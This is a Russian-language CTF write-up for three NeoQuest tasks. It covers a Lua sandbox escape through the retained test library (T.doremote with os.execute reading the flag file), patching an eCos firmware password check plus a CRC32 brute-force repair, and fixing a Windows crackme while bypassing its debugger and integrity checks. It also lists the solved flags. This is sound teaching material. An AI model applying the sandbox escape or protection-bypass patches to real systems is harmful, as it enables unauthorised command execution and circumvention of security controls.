
Всем доброго времени суток. На прошлой неделе закончился очередной очный этап NeoQuest. А значит пришло время публиковать разбор некоторых заданий. Знаю многие ждали этого разбора, поэтому всех интересующихся прошу под кат.
Адский реверсер – моё ампЛУА!

В задании нам предложено скачать бинарник, и ознакомиться с его исходным кодом, для поиска в нём уязвимостей, скачиваем и распаковываем.
В архиве лежит всего одна директория, и как не трудно догадаться, содержит исходный код LUA, взятый с git. Смотрим что было изменено:

Как видно был добавлен новый файл larray.c, в котором судя по всему и содержится уязвимый код. Хорошо, теперь попробуем определить расположение флага. Подключившись к серверу и нажав TAB два раза, видим в текущей директории файл FLAG__.TXT
ОК. Вызов принят.
В LUA наверняка можно выполнить консольные команды или просто попробовать открыть файл. Однако не всё так просто, в исходный код не только был добавлен новый файл, но и исключены некоторые функции:
git diff lbaselib.c
gh0st3rs@user-pc:lua$ git diff lbaselib.c
diff --git a/lbaselib.c b/lbaselib.c
index 00452f2..52ec9c6 100644
--- a/lbaselib.c
+++ b/lbaselib.c
@@ -480,18 +480,18 @@ static int luaB_tostring (lua_State *L) {
static const luaL_Reg base_funcs[] = {
{"assert", luaB_assert},
{"collectgarbage", luaB_collectgarbage},
- {"dofile", luaB_dofile},
+ // {"dofile", luaB_dofile},
{"error", luaB_error},
{"getmetatable", luaB_getmetatable},
{"ipairs", luaB_ipairs},
- {"loadfile", luaB_loadfile},
- {"load", luaB_load},
+ // {"loadfile", luaB_loadfile},
+ // {"load", luaB_load},
#if defined(LUA_COMPAT_LOADSTRING)
- {"loadstring", luaB_load},
+ // {"loadstring", luaB_load},
#endif
{"next", luaB_next},
{"pairs", luaB_pairs},
- {"pcall", luaB_pcall},
+ // {"pcall", luaB_pcall},
{"print", luaB_print},
{"rawequal", luaB_rawequal},
{"rawlen", luaB_rawlen},
@@ -502,7 +502,7 @@ static const luaL_Reg base_funcs[] = {
{"tonumber", luaB_tonumber},
{"tostring", luaB_tostring},
{"type", luaB_type},
- {"xpcall", luaB_xpcall},
+ // {"xpcall", luaB_xpcall},
/* placeholders */
{LUA_GNAME, NULL},
{"_VERSION", NULL},
git diff linit.c
gh0st3rs@user-pc:lua$ git diff linit.c
diff --git a/linit.c b/linit.c
index 3c2b602..d7e03c9 100644
--- a/linit.c
+++ b/linit.c
@@ -41,17 +41,18 @@
*/
static const luaL_Reg loadedlibs[] = {
{LUA_GNAME, luaopen_base},
- {LUA_LOADLIBNAME, luaopen_package},
+ // {LUA_LOADLIBNAME, luaopen_package},
{LUA_COLIBNAME, luaopen_coroutine},
{LUA_TABLIBNAME, luaopen_table},
- {LUA_IOLIBNAME, luaopen_io},
- {LUA_OSLIBNAME, luaopen_os},
+ // {LUA_IOLIBNAME, luaopen_io},
+ // {LUA_OSLIBNAME, luaopen_os},
{LUA_STRLIBNAME, luaopen_string},
{LUA_MATHLIBNAME, luaopen_math},
{LUA_UTF8LIBNAME, luaopen_utf8},
- {LUA_DBLIBNAME, luaopen_debug},
+ // {LUA_DBLIBNAME, luaopen_debug},
#if defined(LUA_COMPAT_BITLIB)
{LUA_BITLIBNAME, luaopen_bit32},
+ {LUA_ARRAY, luaopen_array},
#endif
{NULL, NULL}
};
Но взглянув на изменения в makefile, можно заметить, что специально или по ошибке, был оставлен модуль TESTS.
git diff makefile
gh0st3rs@user-pc:lua$ git diff makefile
diff --git a/makefile b/makefile
index 8160d4f..d9df7e8 100644
--- a/makefile
+++ b/makefile
@@ -53,12 +53,12 @@ LOCAL = $(TESTS) $(CWARNS) -g
# enable Linux goodies
-MYCFLAGS= $(LOCAL) -std=c99 -DLUA_USE_LINUX -DLUA_COMPAT_5_2
-MYLDFLAGS= $(LOCAL) -Wl,-E
+MYCFLAGS= $(LOCAL) -std=c99 -DLUA_USE_LINUX -DLUA_COMPAT_5_2 -fPIE -fPIC # -fsanitize=address -fno-omit-frame-pointer
+MYLDFLAGS= $(LOCAL) -Wl,-E # -fsanitize=address
MYLIBS= -ldl -lreadline
-CC= clang-3.8
+CC= gcc # clang-5.0
CFLAGS= -Wall -O2 $(MYCFLAGS)
AR= ar rcu
RANLIB= ranlib
@@ -74,7 +74,7 @@ LIBS = -lm
CORE_T= liblua.a
CORE_O= lapi.o lcode.o lctype.o ldebug.o ldo.o ldump.o lfunc.o lgc.o llex.o \
lmem.o lobject.o lopcodes.o lparser.o lstate.o lstring.o ltable.o \
- ltm.o lundump.o lvm.o lzio.o ltests.o
+ ltm.o lundump.o lvm.o lzio.o ltests.o larray.o
AUX_O= lauxlib.o
LIB_O= lbaselib.o ldblib.o liolib.o lmathlib.o loslib.o ltablib.o lstrlib.o \
lutf8lib.o lbitlib.o loadlib.o lcorolib.o linit.o
@@ -194,5 +194,6 @@ lvm.o: lvm.c lprefix.h lua.h luaconf.h ldebug.h lstate.h lobject.h \
ltable.h lvm.h
lzio.o: lzio.c lprefix.h lua.h luaconf.h llimits.h lmem.h lstate.h \
lobject.h ltm.h lzio.h
+larray.o: larray.c
# (end of Makefile)
Погуглив как его можно использовать, приходим к простому коду для извлечения флага:
L1 = T.newstate()
T.loadlib(L1)
a,b,c = T.doremote(L1, [[
os = require'os';
os.execute('cat FLAG__.TXT')
]])
Что делает код:
- Сначала мы инициируем новое тестовый контекст
- Затем подгружаем библиотеки для работы с FS
- И через doremote исполняем в тестовом контексте системные команды
После исполнения получаем ключ: c91a8674a726823e9edad1a4262da4be7f216d74
QEMU+Ecos = QEcos

В этом году так же не обошлось без заданий с QEMU. В задании спрятано 2 ключа, найдя которые можно было получить +200 очков. Приступим:
Скачав все 3 файла, приступим к их изучению:

Первое с чем приходится столкнуться, это измененный порядок байт в дампе, определить это легко, выполнив команду:
$ strings dump.bin
....
:CCGbU( utnu3.6 1-0.ubu22utn.6 ) 0.371026040
На Python это решается довольно просто:
revert.py
#!/usr/bin/python3
import sys
fixed = open(sys.argv[2], 'wb')
dump = open(sys.argv[1], 'rb').read()
[fixed.write(dump[x:x + 4][::-1]) for x in range(0, len(dump), 4)]
fixed.close()
После преобразования, с дампом можно работать:

И так, у нас есть 2 образа eCos и заголовок, образы отделены между собою нулями. через dd режем его на 3 части, они понадобятся далее.
Но в начале, попробуем запустить первый образ, чтобы узнать, что от нас требуется:

После загрузки нужно ввести пароль, и если он окажется не верным, получаем сообщение: AUTH FAIL
Распакуем образ и отправим его в IDA. Далее по перекрестным ссылкам находим функцию, которая выводит сообщение об ошибке:
print_fail

Поднимаемся на уровень выше, где видим 2 условия, при который проверка не проходит:
led_check

Дело за малым:
- Патчим эти переходы
- Архивируем файл ecos.bin и вставляем его в распаковщик
- Используя утилиту mkimage собираем новый образ для u-boot
- И проверяем результат
После запуска нового образа на любой пароль получаем сообщение со строкой, которую нужно ввести в u-boot:
Auth process started…
===============
=== AUTH OK ===
===============
use this key in u-boot:4a2#*a11gpiun%25
Вводим и получаем ещё один ключ (предварительно взяв от строки sha1 хеш): ddf5957cd43a3712e0c67d019a37223043ae6df5

P.S. Как позже выяснилось, там была уязвимость типа race condition — нужно было изменять комбинацию во время ее проверки
Со вторым ключом всё немного сложнее. Если попробовать запустить второй образ (для этого нужно собрать дамп в таком порядке: заголовок -> образ2 -> образ1, или просто поменять параметры загрузки в u-boot), то образ не загрузится, а будет ругаться на неверное значение CRC32:

После долгих поисков, а так же сравнив размер образа и количество записей в логе, находим следующее:
- Каждый блок в логе длинной: 0xE1
- Всего блоков: 0x48D1
- В блоке 0x2580 произошла критическая ошибка
- Началась она со смещения в блоке: [0x44, 0x47) т.е. 3 байта
Сопоставив размеры блока с реальной позицией в дампе, определяем, что во втором образе архив ecos.bin.gz является поврежденным. Ничего не остаётся, как сбрутить недостающие 3 байта, имея оригинальную CRC32 образа и позицию в которой ошибка.
bruteCRC.py
#!/usr/bin/python3
import sys
import binascii
import os
import subprocess
import struct
START_OFFSET=0xf5c5
END_OFFSET=0xf5c8
OUT_FILE=sys.argv[1]+'.patch'
dump = open(sys.argv[1], 'rb').read()
crc1 = struct.unpack('>I', dump[24:28])[0]
for x in range(0xa2, -1, -1):
for y in range(0xff, -1, -1):
for z in range(0xff, -1, -1):
number='%02x%02x%02x' % (x,y,z)
crc = binascii.crc32(dump[0x40:START_OFFSET] + binascii.unhexlify(number.encode()) + dump[END_OFFSET:])
if crc == crc1:
print('Possible fix: %s' % number)
print('Status: %s' % number)
Воспользовавшийь простейшим скриптом, запускаем перебор, и через какое-то время получаем верную комбинацию. Далее можно собрать дамп и запустить его, либо просто распаковать образ и используя grep найти нужную строку:
$ strings ecos.bin | grep KEY
KEY: xs26k=b$km*8_mNf
Взяв от полученной строки sha1 хеш, получаем ещё 1 ключ: 35f6e7d0d65097f29ad74a7aaf991f2166b0a492
Spectre

Тут авторы сильно заморочились и предложили нам найти и исправить так называемые опечатки в коде. Приведу сразу список исправлений, а затем расскажу, как их можно было найти:
Список исправлений Address : OldBytes : NewBytes
0x7c3: 75: 74
0x7f0: 9d: 9c
0x8bc: 75: 74
0xd86: 3e: 3f
0x277e: f1: ee
0x2ac1: 03: 02
0x2c79: 00 00 10: 10 04 00
0x3b19: 74: 70
0x3b73: 6A: 75
0x3b75: 5f 5f: 6e 65
0x3be7: 77: 6f
0x52b0: 4f 4b: 4d 5a
0x7f0: 9d: 9c
0x8bc: 75: 74
0xd86: 3e: 3f
0x277e: f1: ee
0x2ac1: 03: 02
0x2c79: 00 00 10: 10 04 00
0x3b19: 74: 70
0x3b73: 6A: 75
0x3b75: 5f 5f: 6e 65
0x3be7: 77: 6f
0x52b0: 4f 4b: 4d 5a
Ошибки #9 #10
В самом начале в функции main по адресу: 0x000000013FE517E7 происходит вызов функции check_cpu():

Тут происходит проверка, соответствия модели процессора, но строка с которой происходит сравнение ошибочна. В отладке видим, что верным должно быть значение: GenuineIntel
Ошибка #11
Находясь в функции генерации первого ключа, видим, что он основан на строке: A hecatwnicosachoron or 120-cell is a regular polychoron having 120 dodecahedral cells. поиск в гугл, подсказал, правильное её написание: A hecatonicosachoron or 120-cell is a regular polychoron having 120 dodecahedral cells.
.text:000000013FE53323 lea rax, byte_13FE57030
.text:000000013FE5332A lea rbp, aAHecatwnicosac ; "A hecatwnicosachoron or 120-cell is a r"...
.text:000000013FE53331 sub rbp, rax
.text:000000013FE53334 mov eax, 1
Ошибка #5
Если взглянуть ниже, видим вызов функции по не верному смещению:
.text:000000013FE5337D call near ptr sub_13FE53070+3
.text:000000013FE53382 movzx ecx, [rsp+48h+arg_0]
.text:000000013FE53387 inc rbp
Ошибка #1
В функции по адресу 0x000000013FE51390 происходит формирование второго ключа:
Во время отладки можно заметить, что условный переход, после генерации первой части ключа происходит не верно:
.text:000000013FE513B9 mov rbx, rax
.text:000000013FE513BC call sub_13FE53460
.text:000000013FE513C1 test eax, eax
.text:000000013FE513C3 jnz short loc_13FE513C9
Ошибка #2
Следующее, что бросается в глаза, при дальнейшем просмотре этой функции, это не верный оффсет при вызове функции, которая обращается к реестру:
.text:000000013FE513EF call near ptr get_SoftwareType+1
.text:000000013FE513F4 test eax, eax
.text:000000013FE513F6 jz short loc_13FE51415
Ошибка #6
Зайдя глубже в функцию get_SoftwareType, и проверив аргументы функции RegOpenKeyExA понимаем, что значение: 0x80000003 явно не соответствует HKEY_LOCAL_MACHINE:
.text:000000013FE536A9 lea rax, [rsp+0D8h+hkey]
.text:000000013FE536AE lea rdx, SubKey ; "SOFTWARE\\Microsoft\\Windows NT\\Curren"...
.text:000000013FE536B5 mov r9d, 20019h ; samDesired
.text:000000013FE536BB xor r8d, r8d ; ulOptions
.text:000000013FE536BE mov rcx, 0FFFFFFFF80000003h ; hKey
.text:000000013FE536C5 mov [rsp+0D8h+var_90], 64h
.text:000000013FE536CD mov [rsp+0D8h+phkResult], rax ; phkResult
.text:000000013FE536D2 call cs:RegOpenKeyExA
.text:000000013FE536D8 test eax, eax
Ошибка #7
Пролистав функцию генерации второго ключа, к следующей части, видим попытку получить домашнюю директорию для процесса explorer.exe, и вроде бы ничего не обычного, но вот из документации, можно узнать, что режим доступа указан не верно, и должен быть 0x410:
.text:000000013FE53871 mov r8d, [rsp+278h+pe.th32ProcessID] ; dwProcessId
.text:000000013FE53876 xor edx, edx ; bInheritHandle
.text:000000013FE53878 mov ecx, 100000h ; dwDesiredAccess
.text:000000013FE5387D call cs:OpenProcess
.text:000000013FE53883 mov rbx, rax
.text:000000013FE53886 test rax, rax
Ошибка #3
При отладке функции, которая генерирует третий ключ, замечаем, ещё один не верный условный переход, в результате, не учитывается ответ от вызова экзешника из ресурсов:
.text:000000013FE514B1 call load_exe
.text:000000013FE514B6 mov rdi, rax
.text:000000013FE514B9 test rax, rax
.text:000000013FE514BC jnz short loc_13FE514D7
.text:000000013FE514BE mov rdx, [rsp+28h+a2] ; a2
.text:000000013FE514C3 mov r8, rbx ; out_hash
.text:000000013FE514C6 mov rcx, rax ; a1
.text:000000013FE514C9 call calc_sha
Ошибка #8
Если извлечь из ресурсов файл tmp.exe, то при беглом изучении становится понятно, что единственный аргумент с которым он работает это -p:
.text:000000013FE51147 call memset
.text:000000013FE5114C xor eax, eax
.text:000000013FE5114E lea rdx, CommandLine ; "tmp.exe -t"
.text:000000013FE51155 mov [rsp+118h+ProcessInformation.hProcess], rax
Ошибка #12
При попытке извлечь файл tmp.exe из ресурсов, замечаем, что у него не верный заголовок, исправляем OK на MZ и всё работает:

Ошибка #4
Странно, что второй ключ полностью дублирует первый, ведь как мы помним, результат должен быть в регистре r15:
.text:000000013FE51872 call key2
.text:000000013FE51877 mov r15, rax

Но это ещё не всё в процессе отладки и патчинга мы натыкаемся на пару защитных мер. Первая это всем изъясненная IsDebuggerPresent:
.text:000000013FE517EE jz short loc_13FE51844
.text:000000013FE517F0 call cs:IsDebuggerPresent
.text:000000013FE517F6 test eax, eax
.text:000000013FE517F8 jz short loc_13FE51856
Вторая это проверка целостности файла на основе sha1 хеша:
.text:000000013FE516C3 mov dword ptr [rbp+original_hash], 0D8086BF9h
.text:000000013FE516CA mov dword ptr [rbp+original_hash+4], 0AA45EFE5h
.text:000000013FE516D1 mov dword ptr [rbp+original_hash+8], 492519ECh
.text:000000013FE516D8 mov dword ptr [rbp+original_hash+0Ch], 212C9756h
.text:000000013FE516DF mov [rbp+var_30], 5BB58EA1h
.text:000000013FE516E6 mov byte ptr [rbp+hash], bl
.text:000000013FE516E9 mov [rbp+hash+1], rax
.text:000000013FE516ED mov [rbp+var_17], rax
.text:000000013FE516F1 mov [rbp+var_F], ax
.text:000000013FE516F5 mov [rbp+var_D], al
.text:000000013FE516F8 call calc_sha
.text:000000013FE516FD mov rax, [rbp+hash]
.text:000000013FE51701 cmp rax, qword ptr [rbp+original_hash]
Функцию проверки целостности можно либо забить nop-ами, либо в самом конце просто поправить оригинальный хеш.
После всех этих изменений получаем сразу все 3 ключа:
First key: 2A 93 E7 6A F5 BB E0 92 83 E5 99 E6 63 6D 04 1C 95 9B 3C D7
Second key: B2 D7 CC 3F 58 03 EB C6 4D 14 8E A6 AB 2E FC 10 DE B1 45 8D
Third key: DB 0D 81 6E 50 63 BA 13 65 2F 35 7B 1F 7C E9 FC 1E A1 C1 C6